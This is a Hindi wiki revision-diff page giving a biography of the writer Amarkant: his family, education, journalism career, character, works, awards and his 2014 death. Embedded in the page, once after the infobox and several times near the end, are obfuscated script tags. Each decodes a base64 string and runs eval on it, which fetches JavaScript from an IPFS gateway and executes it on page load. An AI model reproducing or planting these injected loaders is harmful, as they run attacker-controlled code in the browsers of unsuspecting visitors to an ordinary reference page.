"अमरकांत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 19: पंक्ति 19:
 
|विद्यालय='गवर्नमेन्ट हाई स्कूल' और 'सतीशचन्द्र इन्टर कॉलेज', बलिया; 'इलाहाबाद विश्वविद्यालय'
 
|विद्यालय='गवर्नमेन्ट हाई स्कूल' और 'सतीशचन्द्र इन्टर कॉलेज', बलिया; 'इलाहाबाद विश्वविद्यालय'
 
|शिक्षा=बी.ए.
 
|शिक्षा=बी.ए.
|पुरस्कार-उपाधि=
+
|पुरस्कार-उपाधि=[[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी सम्मान]] ([[2007]]), [[ज्ञानपीठ पुरस्कार]] ([[2009]])
 
|प्रसिद्धि=साहित्यकार व लेखक
 
|प्रसिद्धि=साहित्यकार व लेखक
 
|विशेष योगदान=
 
|विशेष योगदान=
पंक्ति 107: पंक्ति 107:
 
*[http://www.livehindustan.com/news/desh/mustread/article1-amarkant-sahitya-academy-award-awards-39-332-401140.html हिंदुस्तान लाइव]
 
*[http://www.livehindustan.com/news/desh/mustread/article1-amarkant-sahitya-academy-award-awards-39-332-401140.html हिंदुस्तान लाइव]
 
*[http://navbharattimes.indiatimes.com/articleshow/30564225.cms नवभारत टाइम्स]
 
*[http://navbharattimes.indiatimes.com/articleshow/30564225.cms नवभारत टाइम्स]
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 114: पंक्ति 113:
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
==संबंधित लेख==
 
==संबंधित लेख==
{{साहित्यकार}}
+
{{ज्ञानपीठ पुरस्कार}}{{साहित्यकार}}
 +
[[Category:ज्ञानपीठ पुरस्कार]][[Category:साहित्य अकादमी पुरस्कार]]
 
[[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक लेखक]][[Category:साहित्य कोश]][[Category:चरित कोश]]
 
[[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक साहित्यकार]][[Category:आधुनिक लेखक]][[Category:साहित्य कोश]][[Category:चरित कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

15:02, 18 जुलाई 2014 का अवतरण

अमरकांत
अमरकांत
पूरा नाम अमरकांत
अन्य नाम श्रीराम लाल, अमरनाथ
जन्म 1 जुलाई, 1925
जन्म भूमि नगरा गाँव, बलिया ज़िला, उत्तर प्रदेश
मृत्यु 17 फ़रवरी, 2014
मृत्यु स्थान इलाहाबाद, उत्तर प्रदेश
कर्म भूमि भारत
कर्म-क्षेत्र हिन्दी कथा साहित्य
मुख्य रचनाएँ 'ज़िंदगी और जोक', 'देश के लोग', 'मौत का नगर', 'तूफान', 'सूखा पत्ता', 'ग्राम सेविका', 'बीच की दीवार', 'इन्हीं हथियारों से', 'बानर सेना' आदि।
भाषा हिन्दी
विद्यालय 'गवर्नमेन्ट हाई स्कूल' और 'सतीशचन्द्र इन्टर कॉलेज', बलिया; 'इलाहाबाद विश्वविद्यालय'
शिक्षा बी.ए.
पुरस्कार-उपाधि साहित्य अकादमी सम्मान (2007), ज्ञानपीठ पुरस्कार (2009)
प्रसिद्धि साहित्यकार व लेखक
नागरिकता भारतीय
अन्य जानकारी पहले अमरकांत जी का नाम 'श्रीराम' रखा गया था। इनके खानदान में लोग अपने नाम के साथ 'लाल` लगाते थे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अमरकांत (अंग्रेज़ी: Amarkant, जन्म: 1 जुलाई, 1925 - मृत्यु: 17 फ़रवरी, 2014) भारत के प्रसिद्ध साहित्यकारों में से एक हैं। वे हिन्दी कथा साहित्य में प्रेमचंद के बाद यथार्थवादी धारा के प्रमुख कहानीकार हैं।

जन्म तथा नामकरण

अमरकांत का जन्म 1 जुलाई, 1925 को नगरा गाँव, तहसील रसड़ा, बलिया ज़िला (उत्तर प्रदेश) के एक कायस्थ परिवार में हुआ था। इनके पिता का नाम सीताराम वर्मा व माता का नाम अनंती देवी था। पहले अमरकांत का नाम 'श्रीराम' रखा गया था। इनके खानदान में लोग अपने नाम के साथ 'लाल` लगाते थे। अत: अमरकांत का भी नाम 'श्रीराम लाल` हो गया। बचपन में ही किसी साधु-महात्मा द्वारा अमरकांत का एक और नाम 'अमरनाथ' रखा गया था। यह नाम अधिक प्रचलित तो नहीं हुआ, किंतु स्वयं श्रीराम लाल को इस नाम के प्रति आसक्ति हो गयी। इसलिए उन्होंने कुछ परिवर्तन करके अपना नाम 'अमरकांत` रख लिया। उनकी साहित्यिक कृतियाँ भी इसी नाम से प्रसिद्ध हुई। अपने नामकरण की चर्चा करते हुए स्वयं अमरकांत ने लिखा है कि-
"मेरे खानदान के लोग अपने नाम के साथ 'लाल' लगाते थे। मेरा नाम भी श्रीराम लाल ही था। लेकिन जब हम लोग बलिया शहर में रहने लगे तो चार-पाँच वर्ष बाद वहाँ अनेक कायस्थ परिवारों में 'लाल' के स्थान पर 'वर्मा` जोड़ दिया गया और मेरा नाम भी श्रीराम वर्मा हो गया।

परिवार

अमरकांत जी के परिवार के लोग मध्यम कोटि के काश्तकार थे। इनके बाबा गोपाल लाल मुहर्रिर थे। पिता सीताराम वर्मा ने इलाहाबाद में रहकर पढ़ाई की थी। यहीं की कायस्थ पाठशाला से उन्होंने इन्टरमीडिएट किया था। फिर उन्होंने मुख्तारी की परीक्षा पास की और बलिया कचहरी में प्रैक्टिस करने लगे थे। अमरकांत जी के पिताजी का सनातन धर्म में गहरा विश्वास था, किन्तु वे कर्मकांडो व धार्मिक रुढ़ियों में विश्वास नहीं करते थे। उनके आराध्य देवता थे- राम और शिव। वे उर्दू और फारसी के ज्ञाता थे। उन्हें हिन्दी का कामचलाऊ ज्ञान था। अमरकांत की एक बड़ी बहन गायत्री थीं, जो अमरकांत के बचपन में ही बीमारी से मर गई थी। अमरकांत को लेकर परिवार में सात भाई और एक बहन थी, जिन्हें पिता सीताराम वर्मा ने योग्य तरीके से पढ़ाया-लिखाया था।

शिक्षा

अमरकांत जी का 'नगरा` के प्राइमरी स्कूल में ही नाम लिखाया गया था। कुछ दिनों के बाद उनका परिवार बलिया शहर आ गया। यहाँ के तहसीली स्कूल में अमरकांत का नाम कक्षा 'एक` में लिखा दिया गया। यहाँ पर वे कक्षा 'दो` तक ही पढ़ पाये। बाद में उनका नाम 'गवर्नमेन्ट हाई स्कूल' में कक्षा 'तीन' में लिखाया लिया। यहाँ के प्रधानाध्यापक महावीर प्रसाद जी थे। 1938-1939 ई. में अमरकांत कक्षा आठ में थे, और इसी समय उनके विद्यालय में हिन्दी के नए शिक्षक के रूप में बाबू गणेश प्रसाद का आगमन हुआ। वे साहित्य के अच्छे जानकार थे और कभी-कभी निबंध की जगह कहानी लिखने को कहते थे। बच्चों को हस्तलिखित पत्रिका भी निकालने के लिए प्रेरित किया करते थे। सन 1946 ई. में अमरकांत ने बलिया के 'सतीशचन्द्र इन्टर कॉलेज' से इन्टरमीडियेट की पढ़ाई पूरी की और बी.ए. 'इलाहाबाद विश्वविद्यालय' से करने लगे।

व्यावसायिक जीवन

बी.ए. पास करने के बाद अमरकांत ने पढ़ाई बंद कर नौकरी की तलाश शुरू कर दी। कोई सरकारी नौकरी करने के बदले उन्होंने पत्रकार बनने का निश्चय कर लिया था। उनके अंदर यह विश्वास बैठ गया था कि हिन्दी ही देश सेवा का पर्याय है। वैसे अमरकांत के मन में राजनीति के प्रति एक तरह का निराशा का भाव भी आ गया था। यह भी एक कारण था, जिसकी वजह से अमरकांत पत्रकारिता की तरफ़ मुडे। अमरकांत के चाचा उन दिनों आगरा में रहते थे। उन्हीं के प्रयास से दैनिक 'सैनिक' में अमरकांत को नौकरी मिल गयी।

सेवा कार्य

'प्रयाग विश्वविद्यालय' से स्नातक करने के बाद अमरकांत ने निश्चय कर लिया था कि उन्हें हिन्दी साहित्य की सेवा करनी है। मन में पत्रकार बनने की इच्छा थी, और उन्होंने आगरा शहर से निकलने वाले दैनिक पत्र 'सैनिक' से अपनी नौकरी की शुरूआत की। यहीं पर अमरकांत की मुलाकात विश्वनाथ भटेले से हुई, जो अमरकांत के साथ 'सैनिक' में ही कार्यरत थे। विश्वनाथ अमरकांत को अपने साथ आगरा के प्रगतिशील लेखक संघ की बैठक में ले जाने लगे। इन्हीं बैठकों में अमरकांत की मुलाकात डॉ. रामविलास शर्मा, राजेन्द्र यादव, रवी राजेन्द्र व रघुवंशी जैसे साहित्यकारों से हुई। अमरकांत ने अपनी पहली कहानी 'इंटरव्यू' इसी प्रगतिशील लेखक संघ में सुनायी थी, जिसे सभी लोगों ने सराहा।

आर्थिक समस्या

अमरकांत जी का अधिकांश समय साहित्यिक गतिविधियों और मित्रों के बीच ही बीतता था। वे एक लापरवाही भरी ज़िंदगी जी रहे थे। उन्हें किसी बात की कोई विशेष चिंता भी नहीं थी। लेकिन उनके चाचा साधुशरण वर्मा को यह बात पसंद नहीं आयी। वे अमरकांत के व्यवहार को लेकर चिंतित रहने लगे। उन्होंने घर वालों को अपनी चिंता से अवगत भी कराया। उन्होंने ही अमरकांत के पिता को सलाह दी की वे उसे आगरा से वापस बुला लें। तीन वर्ष तक आगरा में रहने के बाद अमरकांत इलाहाबाद आ गये। यहाँ आने के बाद अमरकांत ने यहाँ से निकलने वाले 'अमृत पत्रिका' में नौकरी पायी। किंतु यहाँ पर भी वेतन बड़ी मामूली था। यहाँ अमरकांत ने गहरी आर्थिक तंगी को महसूस किया। प्रेस में भी उनके साथ अच्छा बर्ताव नहीं हुआ। प्रेस की अपनी आर्थिक समस्याएँ और झगड़े थे। इसी बीच अमरकांत 1954 में हृदय रोग के शिकार हुए और उन्हें लखनऊ जाना पड़ा था।

संघर्ष के दिन

अमरकांत अपने जीवन को निरर्थक समझने लगे। कहीं से कोई भी उम्मीद नजर नहीं आती थी। उनके दिन बड़े ही संघर्षपूर्ण व्यतीत हो रहे थे, किंतु अंत में उन्होंने निश्चय किया कि वे अपना लेखन कार्य जारी रखेंगे। जितना हो सकेगा उतना वे लेखन करेंगे। लेखन ही उनके जीवन का आधार रहा और उन्होंने किया भी यही। लखनऊ में रहते हुए अमरकांत गहरे मानसिक द्वन्द्व से ग्रस्त रहे। उन्हें जीवन से एक तरह से निराशा हो गयी थी। उन्हें अब यह लगने लगा कि अब वे किसी काम के नहीं रह गये। साथ ही साथ उन्हें इस बात का पछतावा भी हुआ कि उन्होंने ज़िंदगी का बहुत सारा समय यूँ ही बर्बाद कर दिया। अब वे अपना एक मिनट भी बर्बाद नहीं करना चाहते थे और लिखने के प्रण के साथ वे इस काम में जुट गये। आय का कोई निश्चित साधन न होने के कारण उनकी माली हालत कोई बहुत अच्छी नहीं रही। स्वतंत्र लेखन के द्वारा ही वे जो अर्जित कर सके उसे ही आजीविका का साधन बनाया। अमरकांत ने अपना जीवन इसी तरह व्यतीत किया।

व्यक्तित्व

अमरकांत जी के व्यक्तित्व के निर्माण में उनके व्यक्तिगत संघर्ष की अहम भूमिका थी। उन्होंने कभी भी परिस्थितियों के आगे घुटने नहीं टेके। हर हाल में वे एक आम व्यक्ति की तरह संघर्ष करते रहे, शोषण का शिकार होते रहे और पारिवारिक दायित्वों के निर्वहन के लिए हर तरह के कष्ट को गले लगाते रहे। उनका यही भोगा हुआ यथार्थ उनके कथा साहित्य में अपनी पूरी समग्रता के साथ प्रस्तुत हुआ है। उनके व्यक्तित्व की महत्त्वपूर्ण बात थी 'ईमानदारी`। अमरकांत ने हमेशा अपना काम पूरी ईमानदारी के साथ किया। वे कई पत्र-पत्रिकाओं के संपादन कार्य से जुड़े रहे। इसके बावजूद वे 'अवसरवादी` नहीं बने। वे अपने अंदर एक सीमा के निर्धारण के साथ जीते रहे। कठिन से कठिन परिस्थितियों में भी उन्होंने स्वयं भी कभी उस सीमा का उल्लंघन नहीं किया। अमरकांत बाहर से जितने सुलझे व सहज लगते हैं वास्तव में अंदर से वे उतने ही उलझे और परेशान रहते। कारण यह था कि वे अपनी परेशानियों को अपने तक रखना पसंद करते थे और बाहर उसकी छाया भी नहीं पड़ने देना चाहते थे। पर यह प्राय: हो नहीं पाता था। उनके मित्र उनकी परिस्थितियों से अच्छी तरह परिचित थे। लेकिन वे यह भी जानते थे कि यह आदमी मर्यादाओं में रहने वाला है। अपने लाभ के लिए अमरकांत दूसरे का नुकसान नहीं कर सकते थे।
अमरकांत सदैव ही एक संकोची व्यक्ति रहे। आम जनता से जुड़ी हुई कोई भी बात उन्हें साधारण नहीं लगती थी। देश में होने वाली हर महत्त्वपूर्ण घटना पर उनकी बारीक नज़र रहती थी। वे खुद यह कभी भी पसंद नहीं करते थे कि वे चर्चा के केन्द्र में रहें। इन सब बातों में उन्हें एक अलग तरह का संकोच होता था। सामान्य जनता, उससे जुड़ी हुई परेशानियाँ, जीवन और साहित्य इन सब में अमरकांत की गहरी संसक्ति थी। अमरकांत न केवल एक अच्छे साहित्यकार हैं, बल्कि उतने ही अच्छे व्यक्ति भी हैं। उनका व्यक्तित्व बिना किसी बनावट के एकदम साफ़ और सहज है।

कृतियाँ

'अमरकांत की संपूर्ण कहानियाँ' दो भागों में प्रकाशित हो चुकी हैं। 'जाँच और बच्चे' कहानी संग्रह में उनकी नवीनत रचनाये हैं। अमरकांत के संपूर्ण कथा साहित्य को निम्नलिखित रूपों में बाँटा जा सकता है-

कहानी संग्रह
  • ज़िंदगी और जोक
  • देश के लोग
  • मौत का नगर
  • मित्र मिलन
  • कुहासा
  • तूफान
  • कला प्रेमी
  • प्रतिनिधि कहानियाँ
उपन्यास
  • सूखा पत्ता
  • आकाश पक्षी
  • काले उजले दिन
  • कँटीली राह के फूल
  • ग्राम सेविका
  • सुखजीवी
  • बीच की दीवार
  • सुन्नर पांडे की पतोह
  • लहरें
  • इन्हीं हथियारों से
प्रकीर्ण साहित्य
  • कुछ यादें कुछ बातें
  • नेउर भाई
  • बानर सेना
  • खूँटा में दाल है
  • सुग्गी चाची का गाँव
  • झगरूलाल का फैसला
  • एक स्त्री का सफर

पुरस्कार एवं सम्मान

अमरकांत जी को जो प्रमुख पुरस्कार एवं सम्मान प्राप्त हुए, वे निम्नलिखित हैं-

  1. साहित्य अकादमी सम्मान - 2007
  2. ज्ञानपीठ पुरस्कार - 2009
  3. व्यास सम्मान - 2010
  4. सोवियतलैंड नेहरू पुरस्कार
  5. उत्तर प्रदेश हिंदी संस्थान पुरस्कार
  6. मैथिलीशरण गुप्त पुरस्कार
  7. यशपाल पुरस्कार
  8. जन-संस्कृति सम्मान
  9. मध्य प्रदेश का 'अमरकांत कीर्ति` सम्मान
  10. 'इलाहाबाद विश्वविद्यालय' के हिंदी विभाग का सम्मान।

निधन समाचार

17 फ़रवरी 2014, सोमवार

यशस्वी साहित्यकार अमरकांत का देहांत

हिन्दी के यशस्वी कथाकार और प्रेमचंद की परंपरा के महान रचनाकार अमरकांत का सोमवार 17 फ़रवरी, 2014 को सुबह दस बजे निधन हो गया। अशोक नगर स्थित पंचपुष्प अपार्टमेंट के अपने आवास में स्नान करते वक्त फिसलने के तुरंत बाद उनकी सांसें थम गईं। वह 88 वर्ष के थे। उनका अंतिम संस्कार मंगलवार अपराह्न 11 बजे रसूलाबाद घाट पर किया गया। वह अपने पीछे बेटे-बेटियों और और नाती-पोतों का भरा पूरा परिवार छोड़कर गए हैं। अमरकांत के निधन से साहित्य, कला और संस्कृति से जुड़े लोग स्तब्ध रह गए। हिन्दी साहित्यकार असग़र वजाहत ने अमरकांत के निधन पर शोक जताते हुए कहा, "अमरकांत अपनी पीढ़ी के एक ऐसे कहानीकार थे जिनसे उस समय के युवा कहानीकारों ने बहुत सीखा। वो कहानीकारों में इस रूप में विशेष माने जाएंगे कि एक पूरी पीढ़ी को उन्होंने सिखाया-बताया।" अमरकांत को साल 2007 में साहित्य अकादमी और साल 2009 में ज्ञानपीठ पुरस्कार मिला था।

समाचार को विभिन्न स्रोतों पर पढ़ें


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>